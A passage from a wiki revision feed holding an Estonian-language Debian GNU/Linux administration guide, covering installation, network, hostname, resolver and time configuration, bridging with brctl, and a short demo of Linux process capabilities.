1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine&amp;diff=3427</id>
		<title>Operatsioonisüsteemi Debian GNU/Linux kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine&amp;diff=3427"/>
		<updated>2026-05-03T22:44:06Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Capabilities - 2026 kevad märkmed */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Debian GNU/Linux===&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux ehk lühidalt Debian on vaba operatsioonisüsteem, mis kasutab Linux või FreeBSD tuuma ning töötab paljudel populaarsetel riistvaralistel platvormidel, sealhulgas 32 bit ja 64 bit x86 arvutid.&lt;br /&gt;
&lt;br /&gt;
Debiani sobib kasutada nii serveritel kui ka töökohaarvutitel sh süleritel. Debianile on iseloomulik&lt;br /&gt;
&lt;br /&gt;
* korrektselt ilmuvad turvaparandused (teated ilmuvad ka bugtraqis)&lt;br /&gt;
* eeskujulik paketihaldus, sh automaatne pakettide autentsuse valideerimine kontrollsummade abil (MD5sum, SHA1, SHA256)&lt;br /&gt;
* rahulik stabiilsete versioonide ilmumise tsükkel, erinevalt närvilisest ja suhteliselt pikk tugi eelmisele stabiisele versioonile&lt;br /&gt;
* väärikas kasutajaskond (ingl. k. community)&lt;br /&gt;
* tarkvara jagatakse kompileeritud ja lähtetekstipakettide kujul&lt;br /&gt;
&lt;br /&gt;
Debiani kodulehe http://www.debian.org/ tiitel ütleb, et tegemist on universaalse operatsioonisüsteemiga, mille tunnistuseks on ehk tõepoolest asjaolu, et Debiani on kasutatud mitmete teiste nn Linuxi distributsioonide aluseks.&lt;br /&gt;
&lt;br /&gt;
Debian on loodud Ian Murdock'i poolt aastal 1993, kusjuures operatsioonisüsteemi nimi on tuletatud autori ja tema abikaasa Debra eesnimedest.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamise ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Debiani kasutamiseks on vajalik sobiv riistvara, näiteks tõenäoliselt praktiliselt suvaline 32 bit või 64 bit x86 arvuti sobib, alatest 486 PC mudelitest kuni HP DL 585 G5 ja IBM x3250 taoliste serveriteni. Riistvara sobivuse määrab põhiliselt operatsioonisüsteemi tuum, 2013 aastal on stabiilsel Debiani versioonil 7.0 selleks Linux tuuma versioon 3.2.0.&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleks enne operatsioonisüsteemi paigaldamist otsutada, mida arvutiga teha soovitakse, sh võiks kujutada ette milline saab olema&lt;br /&gt;
&lt;br /&gt;
* arvuti nimi ja ip aadress&lt;br /&gt;
* kõvaketaste kasutus&lt;br /&gt;
* kas arvutit kasutatakse serveri või töökohana&lt;br /&gt;
* kuhu arvuti füüsiliselt paigutatakse&lt;br /&gt;
* kes vastutab arvuti haldamise eest (tarkvara uuendamine, süsteemi monitoorimine ja varundus/taaste)&lt;br /&gt;
&lt;br /&gt;
Üks otsekohene moodus operatsioonisüsteemi paigladmiseks on kasutada Debiani peeglites (ingl. k. mirror) jagatavat CD tõmmisest valmistatud bootivat CD plaati, kuna kõige populaarsem platvorm on x86, siis märgime, et&lt;br /&gt;
&lt;br /&gt;
* 64 bit AMD ja Inteli arvutitel kasutamiseks sobib Debiani amd64 arhitektuur&lt;br /&gt;
* 32 bit AMD ja Inteli arvutitel kasutamiseks sobib Debaini i386 arhitektuur&lt;br /&gt;
&lt;br /&gt;
Kuivõrd reeglina AMD ja Inteli 64 bit arvutid on 32 bit-ühilduvad, siis kasutades 32 bit operatsioonisüsteemi tarkvara 64 bit riistvaral käitub arvuti nagu 32 bitine arvuti. Kuigi eelpool on mainitud nimeliselt AMD ja Intelit kehtib öeldu ka teiste tootjate x86 platvormide kohta. Järgnevas on näited toodud konkreetsuse huvides 64 bit keskkonna kohta, kuid põhimõtteliselt toimub tegevus samamoodi ka 32 bit keskkonnas toimetades. Lisaks saab valida mitmete nö eriotstarbeliste tuumade hulgast, nt i386 non-pae, tuuma nimes kasutatakse '486' sel juhul.&lt;br /&gt;
&lt;br /&gt;
Niisiis, kui kasutada on 64 bit x86 riistvara tuleks kopeerida esimene amd64 arhitektuuri CD tõmmis, näiteks aadressilt http://cdimage.debian.org/debian-cd/7.0.0/amd64/iso-cd/debian-7.0.0-amd64-CD-1.iso ning kirjutada CD plaadile. Plaadi kirjutamisel peab jälgima, et tõmmist ei kirjutata plaadile mitte nagu suurt faili, vaid kirjutatakse tõmmisena, vastasel korral arvuti ei boodi sellelt plaadilt. Debian v. 7.0 on rangelt eristatud vabad ja suletud koodiga draiverid, kõige nähtavamalt mõjutab see tõenäoliselt operatsioonisüsteemi paigaldamise protseduur kui on tegemist vastava riistvaraga, http://www.debian.org/releases/stable/amd64/ch06s04.html.en.&lt;br /&gt;
&lt;br /&gt;
USB pulgalt paigaldades tundub, et uuemal ajal on .iso tõmmised nii ettevalmistatud (isohybrid techniques), et need saab lihtsalt dd programmiga kopeerida pulgale ja töötab, https://wiki.debian.org/BootUsb&lt;br /&gt;
&lt;br /&gt;
 # dd if=/tmp/debian-7.0.0-amd64-CD-1.iso of=/dev/sdc bs=4M&lt;br /&gt;
&lt;br /&gt;
Kui Debian paigaldatakse arvutile, kus juba on operatsioonisüsteem installeritud, nt Win7, siis tõenäoliselt õnnestub installeriga töötamise ajal Win7 failisüsteemide ja partitsioonide suurusi kahandada, tehes nii ruumi Debiani jaoks. Selleks tuleb kõvaketta seadistamise menüüvalikus öelda 'Manual' ja sealt edasi. Kirjanduse põhjal saab öelda, et vastvaid NTFS failisüsteeme ei ole tarvis eelnevalt defragmenteerida.&lt;br /&gt;
&lt;br /&gt;
Windows operatsioonisüsteemi all sobib USB pulk tekitada UUI (Universal USB Installer) programmiga, mille kasutamise juhised leiab aadressilt http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Tuleb arvestada, et operatsioonisüsteemi paigaldamisel hävivad eelnevalt kõvaketastel olnud andmed. Peale paigaldusmeedialt arvuti käivitamist käivitatakse automaatselt operatsioonisüsteemi installer, mis näeb tekstrežiimis välja selline (alternatiivina esineb installeri kasutajaliides ka graafilises vormis)&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Debian-installer-v7.gif]]&lt;br /&gt;
&lt;br /&gt;
Installeri kasutamine on intuatiivne, paigaldamise tulemusena tekib iseseisvalt bootiv arvuti. Paigaldamise käigus sooritatakse järgmised otsustused ja tegevused&lt;br /&gt;
&lt;br /&gt;
* kõvaketakste kasutamine&lt;br /&gt;
* võrguseadistused&lt;br /&gt;
* tarkvarakomplekti valik (standard, töökoht, server)&lt;br /&gt;
* juurkasutaja parool&lt;br /&gt;
* paigaldatakse alglaadur (ingl. k. bootloader) GRUB&lt;br /&gt;
&lt;br /&gt;
Peale paigaldamist saab arvutisse konsoolilt sisse logida ja teatatakse midagi sellist&lt;br /&gt;
&lt;br /&gt;
  Linux loomaaed 2.6.26-2-xen-686 #1 SMP Wed May 16 23:50:09 UTC 2009 i686&lt;br /&gt;
  &lt;br /&gt;
  The programs included with the Debian GNU/Linux system are free software;&lt;br /&gt;
  the exact distribution terms for each program are described in the&lt;br /&gt;
  individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
  &lt;br /&gt;
  Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
  permitted by applicable law.&lt;br /&gt;
  Last login: Sun Mar 29 23:06:53 2009 from aix.auul&lt;br /&gt;
  mart@loomaaed:~$&lt;br /&gt;
&lt;br /&gt;
Oluline on tähale panna, et muu hulgas räägib Debian oma kasutustingimustest&lt;br /&gt;
&lt;br /&gt;
* Debian GNU/Linux süsteemis sisalduv tarkvara on vaba tarkvara&lt;br /&gt;
* Debian GNU/Linux süsteemil kasutamisega ei kaasne garantiid&lt;br /&gt;
&lt;br /&gt;
Paigaldamise lõpus küsitakse, kas on soov osaleda nn populaarsus-võistluses, kord nädalas hakkab arvuti saatma paigaldatud pakettide nimekirja arendajatele, tulemused avaldadakse aadressil http://popcon.debian.org/.&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine üle serial konsooli===&lt;br /&gt;
&lt;br /&gt;
Serial konsooli eksitab splash, sellest saab lahti vajutades Esc. Seejärel tuleb sisestada&lt;br /&gt;
&lt;br /&gt;
 boot: install console=ttyS0,9600&lt;br /&gt;
&lt;br /&gt;
===Community===&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux osas suhtlemiseks või niisama tutvumiseks saab kasutada selliseid ressursse&lt;br /&gt;
&lt;br /&gt;
* Veebikoht - http://www.debian.org/&lt;br /&gt;
* Wiki - http://wiki.debian.org/&lt;br /&gt;
* Postiloendid asuvad aadressil http://lists.debian.org/&lt;br /&gt;
* Uudised - http://www.debian.org/News/project/&lt;br /&gt;
* Turvaparandusi puudutavad teadaanded - http://www.debian.org/security/&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi varundamine ja taaste===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi varundamiseks sobib kasutada programmi rsync kopeerides kogu failisüsteemi va kataloogid&lt;br /&gt;
&lt;br /&gt;
* /tmp&lt;br /&gt;
* /proc&lt;br /&gt;
* /sys&lt;br /&gt;
&lt;br /&gt;
teisele arvutile.&lt;br /&gt;
&lt;br /&gt;
Süsteemi taastamiseks tuleb arvuti bootida nt RIP-Linuxi CD plaadilt, seadistada võrk, kopeerida varundatud süsteem ja paigaldada bootloader.&lt;br /&gt;
&lt;br /&gt;
===IP aadress===&lt;br /&gt;
&lt;br /&gt;
Staatilise IP aadressi saab Debianile seadistada failist&lt;br /&gt;
&lt;br /&gt;
 /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Tüüpiliselt võiks see välja näna järgnev&lt;br /&gt;
&lt;br /&gt;
 # The loopback interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 &lt;br /&gt;
 # The first network card - this entry was created during the Debian installation&lt;br /&gt;
 # (network, broadcast and gateway are optional)&lt;br /&gt;
 auto eth0&lt;br /&gt;
 &lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
        address 192.168.1.10&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        network 192.168.1.0&lt;br /&gt;
        broadcast 192.168.1.255&lt;br /&gt;
        gateway 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
===Arvuti nimi ja resolver===&lt;br /&gt;
&lt;br /&gt;
Arvutil peab oleme korrektselt seadistatud nimi ning nimesüsteemi kasutamine. Arvuti nimi on kirjas failis /etc/hostname, näiteks&lt;br /&gt;
&lt;br /&gt;
  bassein&lt;br /&gt;
&lt;br /&gt;
ning failis /etc/hosts on kirjas nö staatiline nimelahendus, mis töötab päri-ja pöördteisenduse jaoks, lihtsal juhul on seal sellised read (kusjuures esimest rida tuleb kasutada sõna-sõnalt)&lt;br /&gt;
&lt;br /&gt;
  127.0.0.1 localhost.localdomain localhost&lt;br /&gt;
  192.168.1.20 bassein.loomaaed.tartu.ee bassein&lt;br /&gt;
&lt;br /&gt;
Peale nende failide sisu muutmist tuleb muudatuste kehtestamiseks öelda&lt;br /&gt;
&lt;br /&gt;
   bash# hostname bassein&lt;br /&gt;
&lt;br /&gt;
Õnnestunud muudatuse kinnituseks ütleb arvuti nii&lt;br /&gt;
&lt;br /&gt;
  bash# hostname&lt;br /&gt;
  bassein&lt;br /&gt;
  bash# hostname -f&lt;br /&gt;
  bassein.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
Selleks, et arvuti lahendaks muid nimesid, peab olema kirjas nimeserveri aadress failis /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  nameserver 192.168.1.254&lt;br /&gt;
&lt;br /&gt;
Kusjuures, kui failis /etc/resolv.conf kasutada mitut sellist rida erinevate nimeserverite aadressidega, siis proovitakse igal nimelahendusel neid järjest läbi kuni jõutakse esimese töötavani. Vaikimisi oodatakse vastust 5 sekundit. Täiendavat infot saab resolveri manuaalist öeldes&lt;br /&gt;
&lt;br /&gt;
  # man resolver&lt;br /&gt;
&lt;br /&gt;
Tihtipeale kasutatakse keskkonnamuutujat PS1 prompti kujundamiseks ja mille väärtuse moodustamisel kasutatakse omakorda käsku hostname. Seetõttu muutub promptis oleva arvuti nime väärtus peale välja ja uuesti sisselogimist.&lt;br /&gt;
&lt;br /&gt;
====resolvconf====&lt;br /&gt;
&lt;br /&gt;
Lenny sisaldab lisaks nö staatilisele resolverile dünaamilist resolvconf tarkvara, asjakohane allikas on aadressil http://wiki.debian.org/NetworkConfiguration&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install resolvconf&lt;br /&gt;
&lt;br /&gt;
Osa olulisi faile asub kataloogis&lt;br /&gt;
&lt;br /&gt;
  /etc/resolvconf&lt;br /&gt;
&lt;br /&gt;
resolvconf oskab /etc/network/interfaces failist kasutada dns-nameservers parameetrit, nt selliselt&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 192.168.10.199&lt;br /&gt;
   gateway 192.168.10.254&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
   broadcast 192.168.10.255&lt;br /&gt;
   dns-nameservers 192.168.10.254&lt;br /&gt;
&lt;br /&gt;
===Kellaaeg===&lt;br /&gt;
&lt;br /&gt;
Arvuti kellaaeg on korrektselt juhul kohalik aeg. See sõltub ajavööndi seadistusest, mis võiks Eestis olla&lt;br /&gt;
&lt;br /&gt;
  # ls -l /etc/localtime&lt;br /&gt;
  lrwxrwxrwx 1 root root 34 Jul 15 21:40 /etc/localtime -&amp;gt; /usr/share/zoneinfo/Europe/Tallinn&lt;br /&gt;
&lt;br /&gt;
Vajadusel tuleks eemaldada /etc/locatime ja öelda&lt;br /&gt;
&lt;br /&gt;
  # ln -s /usr/share/zoneinfo/Europe/Tallinn /etc/localtime&lt;br /&gt;
&lt;br /&gt;
Seadistamiseks sobib kusjuures kasutada pigem ehk utiliiti dpkg-reconfigure öeldes&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure tzdata&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga date====&lt;br /&gt;
&lt;br /&gt;
Töötava süsteemi käest saab küsida aega öeldes&lt;br /&gt;
&lt;br /&gt;
 $ date&lt;br /&gt;
 Sat Jan  8 14:07:25 EET 2011&lt;br /&gt;
&lt;br /&gt;
Lisaks saab küsida nt nö kaks nädalat tagasi, sellest on vahel kasu nt varundamisega seotud skriptides&lt;br /&gt;
&lt;br /&gt;
 $ date -d &amp;quot;2 weeks ago&amp;quot;&lt;br /&gt;
 Sat Dec 25 14:07:25 EET 2010&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga rdate====&lt;br /&gt;
&lt;br /&gt;
Openrdate http://sourceforge.net/apps/mediawiki/openrdate on OpenBSD projekti rdate tarkvara port Linuxile. Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install rdate&lt;br /&gt;
&lt;br /&gt;
Kellaja ühekordne seadmine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  # rdate ajaserver.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
rdate võimaldab suhelda kahte tüüpi ajaserveritega&lt;br /&gt;
&lt;br /&gt;
* http://tools.ietf.org/html/rfc868 server - tavaliselt töötab inetd abil ja teenindab portidel 37/tcp või 37/udp&lt;br /&gt;
* http://tools.ietf.org/html/rfc2030 - tavaliselt töötab pordil 123/udp&lt;br /&gt;
&lt;br /&gt;
rdate võtmetega saab juhtida, millist režiimi klient parasjagu kasutab, nt&lt;br /&gt;
&lt;br /&gt;
 $  rdate -4 -p -n ntp.ut.ee&lt;br /&gt;
 Sat Jan  8 14:09:44 EET 2011&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -4 - IPv4 protokoll&lt;br /&gt;
* -p - ainult küsida aega ja mitte seadistada&lt;br /&gt;
* -n kasutada rfc2030 ajaserverit&lt;br /&gt;
&lt;br /&gt;
Vaikimisi pöördub rdate ajaserveri poole kasutades rfc686 protokolli ja 37/tcp porti.&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine programmiga ntpdate====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ntpdate&lt;br /&gt;
&lt;br /&gt;
ntpdate sobib kellaaja küsimiseks rfc2060 protokolli toetavalt serverilt (kasutades 123/udp porti) ning kohaliku süsteemi kellaaja seadmiseks. Ainult kellaaja küsimiseks sobib kasutada võtit -q&lt;br /&gt;
&lt;br /&gt;
 $ ntpdate -p 2 -q ntp.ut.ee ntp.aso.ee&lt;br /&gt;
 server 2001:bb8:2002:500:211:25ff:fe8f:7d64, stratum 2, offset 0.011371, delay 0.10133&lt;br /&gt;
 server 193.40.5.113, stratum 2, offset 0.000782, delay 0.03786&lt;br /&gt;
 server 195.80.105.226, stratum 1, offset 0.000217, delay 0.03523&lt;br /&gt;
  8 Jan 15:35:55 ntpdate[20870]: adjust time server 195.80.105.226 offset 0.000217 sec&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -p 2 - igalt toodud ajaserverilt küsitakse aega kaks korda&lt;br /&gt;
* -q - aega ainult küsitakse ja ei seadistata&lt;br /&gt;
* vastust küsitakse kolmelt ajaserverilt kuna ntp.ut.ee nimel on A ja AAAA kirjed&lt;br /&gt;
&lt;br /&gt;
Algupärane ntpdate programm ise ei kasuta ühtegi seadistusfaili, kuid Debian keskkonnas on lisaks programm ntpdate-debian, mida juhib seadistusfail /etc/default/ntpdate mille abil saab juhtida, milliseid ajaservereid kasutatakse. Vaikimisi on seadistatud rida&lt;br /&gt;
&lt;br /&gt;
 NTPDATE_USE_NTP_CONF=yes&lt;br /&gt;
&lt;br /&gt;
mis tähendab, et kasutatakse ajaservereid ntp paketi tarkvara seadistusfailist /etc/ntp.conf. Kui ntpd programm töötab, siis ntpdate keeldub aega seadmast.&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine tarkvaraga ntp====&lt;br /&gt;
&lt;br /&gt;
Kellaaja sünkronisseerimiseks sobib kasutada paketti ntp&lt;br /&gt;
&lt;br /&gt;
  # apt-get install ntp&lt;br /&gt;
&lt;br /&gt;
NTP tarkvara juhivad kaks seadistusfaili&lt;br /&gt;
&lt;br /&gt;
* /etc/default/ntp - milles sisaldub vaikimisi rida ja mis tähendab, et ntpd programmi käivitamisel seadistatakse kellaaeg nö kiiresti&lt;br /&gt;
&lt;br /&gt;
 NTPD_OPTS='-g'&lt;br /&gt;
&lt;br /&gt;
* /etc/ntp.conf - seadistusfail, kus näidatakse ajaserverid jms parameetrid&lt;br /&gt;
&lt;br /&gt;
Seadistusfailist /etc/ntp.conf tuleb leida read&lt;br /&gt;
&lt;br /&gt;
  server 0.debian.pool.ntp.org&lt;br /&gt;
  server 1.debian.pool.ntp.org&lt;br /&gt;
  server 2.debian.pool.ntp.org&lt;br /&gt;
  server 3.debian.pool.ntp.org&lt;br /&gt;
&lt;br /&gt;
ning soovi korral asendada need oma teenese pakkuja nime kasutava ühe reaga, nt&lt;br /&gt;
&lt;br /&gt;
  server ajaserver.loomaaed.tartu.ee&lt;br /&gt;
&lt;br /&gt;
Kulub mõni aega, nt 10 minutit kuni ntp töötamine stabiliseerub, sellest annab tunnistust, et ntptrace vastab kus arvuti asub ntp hierarhias, nt midagi sellist&lt;br /&gt;
&lt;br /&gt;
  # ntptrace -n&lt;br /&gt;
  127.0.0.1: stratum 3, offset -0.001927, synch distance 0.038145&lt;br /&gt;
  192.168.30.8: stratum 2, offset -0.000066, synch distance 0.020106&lt;br /&gt;
  192.168.30.15: stratum 1, offset 0.000010, synch distance 0.002270, refid 'GPS'&lt;br /&gt;
&lt;br /&gt;
võib ka küsida sarnaselt (see väljund ei ole eelmisega näitega kooskõlas)&lt;br /&gt;
&lt;br /&gt;
 # ntpq -np&lt;br /&gt;
      remote           refid      st t when poll reach   delay   offset  jitter&lt;br /&gt;
 ==============================================================================&lt;br /&gt;
  10.192.0.53     193.40.5.113     3 u   47   64   37    0.646  -22.260  73.828&lt;br /&gt;
&lt;br /&gt;
====Kellaaja esitamine ja seadistamine tarkvaraga openntpd====&lt;br /&gt;
&lt;br /&gt;
ntp tarkvarale on populaarne alternatiiv openntpd, üks praktiline erinevus on nt selles, et ntp sisaldab ntptrace utiliiti. OpenNTPD ei sisaldu Debian Squeeze paketihalduses.&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Selleks, et Xen domU kellaaega mõjutaks domU sees töötav ntp server tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  bash# sysctl -w xen.independent_wallclock=1&lt;br /&gt;
&lt;br /&gt;
või lisada faili /etc/sysctl.conf rida&lt;br /&gt;
&lt;br /&gt;
  xen.independent_wallclock=1&lt;br /&gt;
&lt;br /&gt;
Leap sekundite käsitlemine toimub tavaliselt kahel võimalikul viisil&lt;br /&gt;
&lt;br /&gt;
* lisatakse äkki sekund ära&lt;br /&gt;
&lt;br /&gt;
 # dmesg&lt;br /&gt;
 ..&lt;br /&gt;
 [14255112.244045] Clock: inserting leap second 23:59:60 UTC&lt;br /&gt;
&lt;br /&gt;
* määritakse sekundi lisandumine pikema perioodi peale&lt;br /&gt;
&lt;br /&gt;
===Võrgu seadistamine seadistusfailidega===&lt;br /&gt;
&lt;br /&gt;
Võrguseadmete seadistamine toimub faili /etc/networks/interfaces abil. Selle faili sisu alusel kehtestatakse võrguseadistused arvuti alglaadimisel või öeldes arvuti töötamisel&lt;br /&gt;
&lt;br /&gt;
  # /etc/init.d/networking restart&lt;br /&gt;
&lt;br /&gt;
Failis saab kasutada sellised sektsioone&lt;br /&gt;
&lt;br /&gt;
====lo ja eth võrguseadme seadistamine====&lt;br /&gt;
&lt;br /&gt;
  auto lo&lt;br /&gt;
  iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 192.168.10.10&lt;br /&gt;
   gateway 192.168.10.254&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
====dummy võrguseadme seadistamine====&lt;br /&gt;
&lt;br /&gt;
  auto dummy0&lt;br /&gt;
  iface dummy0 inet static&lt;br /&gt;
        address 192.168.13.251&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        network 192.168.13.0&lt;br /&gt;
        broadcast 192.168.13.255&lt;br /&gt;
&lt;br /&gt;
Kui on soov kasutada enam kui ühte dummy seadet, tuleb laadida dummy moodul sarnaselt&lt;br /&gt;
&lt;br /&gt;
  # modprobe dummy numdummies=5&lt;br /&gt;
&lt;br /&gt;
VLAN kasutamist tutvustatakse punktis http://kuutorvaja.eenet.ee/wiki/VLAN_kasutamine#Linux.27i_kasutamine_mode_trunk_re.C5.BEiimis&lt;br /&gt;
&lt;br /&gt;
===Silla kasutamine===&lt;br /&gt;
&lt;br /&gt;
Silla (ingl. k. bridge) kasutamine toimub paketis bridge-utils utiliitidega, paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bridge-utils&lt;br /&gt;
&lt;br /&gt;
Nt tekitame silla eth1 ja tap0 seadmetega&lt;br /&gt;
&lt;br /&gt;
 # brctl addbr br0&lt;br /&gt;
 # brctl addif br0 eth1&lt;br /&gt;
 # brctl addif br0 eth2&lt;br /&gt;
&lt;br /&gt;
Silla omadusi saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 # brctl show&lt;br /&gt;
 bridge name     bridge id               STP enabled     interfaces&lt;br /&gt;
 br0             8000.00064f320035       yes             eth1&lt;br /&gt;
                                                         eth2&lt;br /&gt;
&lt;br /&gt;
Silla kasutamiseks peavad olema seadmed üleval, nt silla üles tõstmiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl br0 up&lt;br /&gt;
&lt;br /&gt;
Silla saab eemaldamiseks tuleb sild alla lasta, eemaldada seadmed ning lõpuks sild&lt;br /&gt;
&lt;br /&gt;
 # brctl br0 down&lt;br /&gt;
 # brctl delif br0 eth1&lt;br /&gt;
 # brctl delif br0 eth2&lt;br /&gt;
 # brctl delbr br0&lt;br /&gt;
&lt;br /&gt;
Sillale saab seadistada ka ip aadressi, nii nagu paljudele muudele võrguseadmetele&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0 192.168.1.200 netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0&lt;br /&gt;
 br0      Link encap:Ethernet  HWaddr 00:17:42:02:0b:8a  &lt;br /&gt;
          inet addr:192.168.1.250  Bcast:192.168.1.255  Mask:255.255.255.0&lt;br /&gt;
          inet6 addr: fe80::5c63:deff:fe92:e125/64 Scope:Link&lt;br /&gt;
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
          RX packets:38 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;
          TX packets:17 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
          collisions:0 txqueuelen:0 &lt;br /&gt;
          RX bytes:2008 (1.9 KiB)  TX bytes:3101 (3.0 KiB)&lt;br /&gt;
&lt;br /&gt;
kusjuures bridge mac aadressina kasutatakse vaikimisi kõige väiksemat mac aadressi bridge külge ühendatud seadmetest, st see aadress võib muutuda bridge töötamise käigus. mac aadressi saab ka muuta, nt&lt;br /&gt;
&lt;br /&gt;
 # ifconfig br0 hw ether 70:01:68:00:12:50&lt;br /&gt;
&lt;br /&gt;
STP (Spanning Tree Protocol) sisselülitamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # brctl stp br0 on&lt;br /&gt;
&lt;br /&gt;
ja silla STP info esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # brctl showstp br0&lt;br /&gt;
 br0&lt;br /&gt;
  bridge id              8000.00064f320035&lt;br /&gt;
  designated root        8000.00064f320035&lt;br /&gt;
  root port                 0                    path cost                  0&lt;br /&gt;
  max age                  20.00                 bridge max age            20.00&lt;br /&gt;
  hello time                2.00                 bridge hello time          2.00&lt;br /&gt;
  forward delay            15.00                 bridge forward delay      15.00&lt;br /&gt;
  ageing time             300.01&lt;br /&gt;
  hello timer               1.49                 tcn timer                  0.00&lt;br /&gt;
  topology change timer     0.00                 gc timer                   5.49&lt;br /&gt;
  flags&lt;br /&gt;
 &lt;br /&gt;
 eth1 (1)&lt;br /&gt;
  port id                8001                    state                  disabled&lt;br /&gt;
  designated root        8000.00064f320035       path cost                  4&lt;br /&gt;
  designated bridge      8000.00064f320035       message age timer          0.00&lt;br /&gt;
  designated port        8001                    forward delay timer        0.00&lt;br /&gt;
  designated cost           0                    hold timer                 0.00&lt;br /&gt;
  flags&lt;br /&gt;
 &lt;br /&gt;
 eth2 (2)&lt;br /&gt;
  port id                8002                    state                forwarding&lt;br /&gt;
  designated root        8000.00064f320035       path cost                  4&lt;br /&gt;
  designated bridge      8000.00064f320035       message age timer          0.00&lt;br /&gt;
  designated port        8002                    forward delay timer        0.00&lt;br /&gt;
